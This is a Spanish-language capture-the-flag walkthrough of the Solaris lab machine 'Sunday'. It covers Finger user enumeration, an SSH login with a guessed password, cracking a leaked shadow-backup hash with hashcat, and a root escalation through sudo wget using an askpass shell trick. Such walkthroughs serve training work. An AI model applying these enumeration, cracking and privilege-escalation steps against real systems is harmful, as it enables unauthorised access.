Sunday

Publicado: 13 de Mayo de 2025 Autor: José Miguel Romero aKa x3m1Sec Dificultad: ⭐ Easy
📝 Descripción
Sunday es una máquina basada en Oracle Solaris que pone a prueba tus habilidades de enumeración de servicios poco comunes como Finger. La escalada implica el descubrimiento de credenciales a través de archivos de backup y el abuso de privilegios sudo. La máquina requiere conocimientos sobre enumeración básica, crackeo de contraseñas y vectores de elevación de privilegios en entornos Unix.
🚀 Metodología
flowchart TD
A[Reconocimiento] --> B[Escaneo de puertos]
B --> C{Servicios encontrados}
C -->|Puerto 79| D[Enumeración Finger]
C -->|Puerto 6787| E[Web Service]
C -->|Puerto 22022| F[SSH]
D --> G[Encontrar usuarios válidos]
G --> H[Intento de acceso SSH]
H --> I[Acceso como sunny:Sunday]
I --> J[Enumeración local]
J --> K[Archivos shadow.backup]
K --> L[Crackeo de hash sammy]
L --> M[Acceso como sammy:cooldude!]
M --> N[Verificar privilegios sudo]
N --> O[Abuso de sudo wget]
O --> P[ROOT!]
style P fill:#f96,stroke:#333,stroke-width:2px
🔭 Reconocimiento
Ping para verificación en base a TTL
❯ ping -c2 10.10.10.76
PING 10.10.10.76 (10.10.10.76) 56(84) bytes of data.
64 bytes from 10.10.10.76: icmp_seq=1 ttl=254 time=43.7 ms
64 bytes from 10.10.10.76: icmp_seq=2 ttl=254 time=43.1 ms
--- 10.10.10.76 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1002ms
rtt min/avg/max/mdev = 43.121/43.421/43.721/0.300 ms
💡 Nota: El TTL cercano a 64 sugiere que probablemente sea una máquina Linux.
Escaneo de puertos
ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.76 | grep ^[0-9] | cut -d '/' -f1 | tr '\n' ',' | sed s/,$//)
❯ echo $ports
79,111,515,6787,22022
Enumeración de servicios
❯ nmap -sC -sV -p$ports 10.10.10.276 -oN services.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-13 18:49 CEST
Nmap scan report for 10.10.10.76
Host is up (0.044s latency).
PORT STATE SERVICE VERSION
79/tcp open finger?
| fingerprint-strings:
| GenericLines:
| No one logged on
| GetRequest:
| Login Name TTY Idle When Where
| HTTP/1.0 ???
| HTTPOptions:
| Login Name TTY Idle When Where
| HTTP/1.0 ???
| OPTIONS ???
| Help:
| Login Name TTY Idle When Where
| HELP ???
| RTSPRequest:
| Login Name TTY Idle When Where
| OPTIONS ???
| RTSP/1.0 ???
| SSLSessionReq, TerminalServerCookie:
|_ Login Name TTY Idle When Where
|_finger: No one logged on\x0D
111/tcp open rpcbind 2-4 (RPC #100000)
515/tcp open printer
6787/tcp open http Apache httpd
|_http-server-header: Apache
|_http-title: 400 Bad Request
22022/tcp open ssh OpenSSH 8.4 (protocol 2.0)
| ssh-hostkey:
| 2048 aa:00:94:32:18:60:a4:93:3b:87:a4:b6:f8:02:68:0e (RSA)
|_ 256 da:2a:6c:fa:6b:b1:ea:16:1d:a6:54:a1:0b:2b:ee:48 (ED25519)
🌐 Enumeración Web
6787 HTTP (Apache )
Al al servicio de este puerto un mensaje nos indica que debemos hacerlo mediante https, así que somo redirigidos a:
https://10.10.10.76:6787/solaris/login/

Intentamos acceder con las credenciales por defecto jack:jack y root:solaris sin éxito.
Poco más podemos hacer aquí de momento
79 FINGER
Investigamos un poco sobre cómo enumerar este servicio y encontramos un script de pentestmonkey en perl:
https://github.com/pentestmonkey/finger-user-enum/blob/master/finger-user-enum.pl
Este script permite enumerar usuarios pasando una lista como parámetro
finger-user-enum.pl [options] ( -u username | -U file-of-usernames ) ( -t host | -T file-of-targets )
Descargamos el script
wget https://raw.githubusercontent.com/pentestmonkey/finger-user-enum/refs/heads/master/finger-user-enum.pl
Ejecutamos el script usando la lista names de sectlists
perl finger-user-enum.pl -U /usr/share/wordlists/seclists/Usernames/Names/names.txt -t 10.10.10.76
Obtenemos los siguientes resultados

Podríamos usar fuerza bruta con hydra con cada uno de estos usuarios y el diccionaro rockyou contra el puerto ssh aunque primero podemos probar con algunas credenciales comunes como admin, root, sunday, Sunday, etc:
Finalmente logramos iniciar sesión vía ssh en el puerto 22022 con sunny:Sunday
ssh sunny@10.10.10.76 -p22022
The authenticity of host '[10.10.10.76]:22022 ([10.10.10.76]:22022)' can't be established.
ED25519 key fingerprint is SHA256:t3OPHhtGi4xT7FTt3pgi5hSIsfljwBsZAUOPVy8QyXc.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[10.10.10.76]:22022' (ED25519) to the list of known hosts.
The latest at Tue May 13 18:18 2025.
Last login: Wed Apr 13 15:35:50 2022 from 10.10.14.13
Oracle Solaris 11.4.42.111.0 Assembled December 2021
sunny@sunday:~$
Sin embargo la primera flag está en el usuario sammy y de momento no tenemos acceso:
sunny@sunday:/home/sammy$ ls -la
total 10
drwxr-xr-x 2 root root 4 May 6 07:36 .
dr-xr-xr-x 4 root root 4 Dec 19 2021 ..
-rw------- 1 root root 123 May 6 07:36 .bash_history
-rw-r----- 1 sammy root 33 May 13 17:51 user.txt
sunny@sunday:/home/sammy$ cat user.txt
cat: cannot open user.txt: Permission denied
Verficamos posibles binarios que sunny pueda ejecutar como root
sunny@sunday:/var$ sudo -l
User sunny may run the following commands on sunday:
(root) NOPASSWD: /root/troll
Aunque no parece que vaya a llevarnos a buen puerto.
Continuamos enumerando y damos con algo que podría ser interesante:
sunny@sunday:/backup$ ls -la
total 28
drwxr-xr-x 2 root root 4 Dec 19 2021 .
drwxr-xr-x 25 root sys 28 May 13 17:50 ..
-rw-r--r-- 1 root root 319 Dec 19 2021 agent22.backup
-rw-r--r-- 1 root root 319 Dec 19 2021 shadow.backup
Tenemos un archivo de backup del fichero shadow:
sunny@sunday:/backup$ cat shadow.backup
mysql:NP:::::::
openldap:*LK*:::::::
webservd:*LK*:::::::
postgres:NP:::::::
svctag:*LK*:6445::::::
nobody:*LK*:6445::::::
noaccess:*LK*:6445::::::
nobody4:*LK*:6445::::::
sammy:$5$Ebkn8jlK$i6SSPa0.u7Gd.0oJOT4T421N2OvsfXqAT1vCoYUOigB:6445::::::
sunny:$5$iRMbpnBv$Zh7s6D7ColnogCdiVE5Flz9vCZOMkUFxklRhhaShxv3:17636::::::
Podemos intentar usar fuerza bruta con hydra y rockyou para intentar crackear el hash del usuario sammy:
Usamos la herramineta name the hash para determinar qué tipo de hash es:
nth --text '$5$Ebkn8jlK$i6SSPa0.u7Gd.0oJOT4T421N2OvsfXqAT1vCoYUOigB'

hashcat -m 7400 sammy_hash /usr/share/wordlists/rockyou.txt

Obtenemos la contraseña del usuario sammy:cooldude!
y nos autenticamos como este usuario en el host remoto:
sunny@sunday:/backup$ su sammy
Password:
Warning: 2 failed authentication attempts since last successful authentication. The latest at Tue May 13 18:23 2025.
sammy@sunday:/backup$ whoami
sammy
Ahora sí, obtenemos la primera flag:
sammy@sunday:/backup$ cd /home/sammy
sammy@sunday:/home/sammy$ ls -la
total 10
drwxr-xr-x 2 root root 4 May 6 07:36 .
dr-xr-xr-x 4 root root 4 Dec 19 2021 ..
-rw------- 1 root root 123 May 6 07:36 .bash_history
-rw-r----- 1 sammy root 33 May 13 17:51 user.txt
sammy@sunday:/home/sammy$ cat user.txt
Ahora verificamos si sammy puede ejecutar algún binario como root:
sammy@sunday:/home/sammy$ sudo -l
User sammy may run the following commands on sunday:
(root) NOPASSWD: /usr/bin/wget
Buscamos información de este binario en GTfobins y lo usamos para escalar a root y obtener la flag:
https://gtfobins.github.io/gtfobins/wget/#sudo
sammy@sunday:/home/sammy$ TF=$(mktemp)
sammy@sunday:/home/sammy$ chmod +x $TF
sammy@sunday:/home/sammy$ echo -e '#!/bin/sh\n/bin/sh 1>&0' >$TF
sammy@sunday:/home/sammy$ sudo wget --use-askpass=$TF 0
root@sunday:/home/sammy# id
uid=0(root) gid=0(root)
root@sunday:/home/sammy# cd /root
root@sunday:~# cat root.txt
ed5c3*********************
root@sunday:~#
Last updated